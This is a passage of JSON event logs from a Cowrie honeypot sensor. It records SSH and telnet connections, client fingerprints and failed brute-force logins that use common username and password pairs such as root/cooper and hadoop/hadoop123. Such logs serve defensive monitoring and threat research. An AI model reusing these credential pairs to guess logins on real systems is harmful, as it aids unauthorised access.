compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:14.574256Z","src_ip":"45.156.87.69","session":"e3ffe23658f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:14.822827Z","src_ip":"45.156.87.69","session":"e3ffe23658f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:15.909152Z","src_ip":"45.156.87.69","session":"e3ffe23658f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37856,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3d5ccce60c","protocol":"telnet","message":"New connection: 152.42.224.71:37856 (10.17.0.5:23) [session: 6b3d5ccce60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:16.268542Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64820,"dst_ip":"159.203.135.109","dst_port":22,"session":"a475f9c5f85e","protocol":"ssh","message":"New connection: 45.156.87.69:64820 (159.203.135.109:22) [session: a475f9c5f85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:17.736278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:17.752405Z","src_ip":"45.156.87.69","session":"a475f9c5f85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:17.989064Z","src_ip":"45.156.87.69","session":"a475f9c5f85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:18.500385Z","src_ip":"45.156.87.69","session":"a475f9c5f85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:19.713475Z","src_ip":"45.156.87.69","session":"a475f9c5f85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7156,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a2ff94475ae","protocol":"ssh","message":"New connection: 38.93.206.2:7156 (159.203.135.109:22) [session: 7a2ff94475ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.020940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.025915Z","src_ip":"38.93.206.2","session":"7a2ff94475ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.076994Z","src_ip":"38.93.206.2","session":"7a2ff94475ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cooper","message":"login attempt [root/cooper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.231775Z","src_ip":"38.93.206.2","session":"7a2ff94475ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64822,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f4d8d89b4d","protocol":"ssh","message":"New connection: 45.156.87.69:64822 (159.203.135.109:22) [session: 34f4d8d89b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.568528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.758375Z","src_ip":"45.156.87.69","session":"34f4d8d89b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:21.768171Z","src_ip":"45.156.87.69","session":"34f4d8d89b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:22.284909Z","src_ip":"38.93.206.2","session":"7a2ff94475ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:23.131995Z","src_ip":"45.156.87.69","session":"34f4d8d89b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:24.676464Z","src_ip":"45.156.87.69","session":"34f4d8d89b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.61.191.203","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfce03f28ada","protocol":"telnet","message":"New connection: 167.61.191.203:41980 (159.203.135.109:23) [session: dfce03f28ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:25.080753Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1a93420949","protocol":"ssh","message":"New connection: 45.156.87.69:64830 (159.203.135.109:22) [session: 2a1a93420949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:25.471128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:25.633590Z","src_ip":"45.156.87.69","session":"2a1a93420949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:25.637675Z","src_ip":"45.156.87.69","session":"2a1a93420949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cc","password":"123456","message":"login attempt [cc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:26.933797Z","src_ip":"45.156.87.69","session":"2a1a93420949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:28.210826Z","src_ip":"45.156.87.69","session":"2a1a93420949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29078,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a132a65ca4","protocol":"ssh","message":"New connection: 45.156.87.69:29078 (159.203.135.109:22) [session: a5a132a65ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:29.199536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:29.207948Z","src_ip":"45.156.87.69","session":"a5a132a65ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:29.316785Z","src_ip":"45.156.87.69","session":"a5a132a65ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654654654","message":"login attempt [root/654654654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:30.154987Z","src_ip":"45.156.87.69","session":"a5a132a65ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:31.256900Z","src_ip":"45.156.87.69","session":"a5a132a65ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29088,"dst_ip":"159.203.135.109","dst_port":22,"session":"669861a60d7a","protocol":"ssh","message":"New connection: 45.156.87.69:29088 (159.203.135.109:22) [session: 669861a60d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:33.184979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:33.190820Z","src_ip":"45.156.87.69","session":"669861a60d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:33.280481Z","src_ip":"45.156.87.69","session":"669861a60d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"python","password":"123456","message":"login attempt [python/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:33.559464Z","src_ip":"45.156.87.69","session":"669861a60d7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.203.14","src_port":54704,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad080dd68154","protocol":"ssh","message":"New connection: 167.71.203.14:54704 (10.17.0.5:22) [session: ad080dd68154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:34.509768Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:34.643330Z","src_ip":"45.156.87.69","session":"669861a60d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:34.748018Z","src_ip":"167.71.203.14","session":"ad080dd68154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24264,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0de5393156a","protocol":"ssh","message":"New connection: 45.156.87.69:24264 (159.203.135.109:22) [session: d0de5393156a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:36.586272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:36.613403Z","src_ip":"45.156.87.69","session":"d0de5393156a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:36.733073Z","src_ip":"45.156.87.69","session":"d0de5393156a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maverick","message":"login attempt [root/maverick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:37.532820Z","src_ip":"45.156.87.69","session":"d0de5393156a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.90926456451416,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:37.989881Z","src_ip":"167.61.191.203","session":"dfce03f28ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":52068,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d62dbaf869","protocol":"ssh","message":"New connection: 103.149.170.125:52068 (10.17.0.5:22) [session: 09d62dbaf869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:38.222077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:38.226752Z","src_ip":"103.149.170.125","session":"09d62dbaf869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 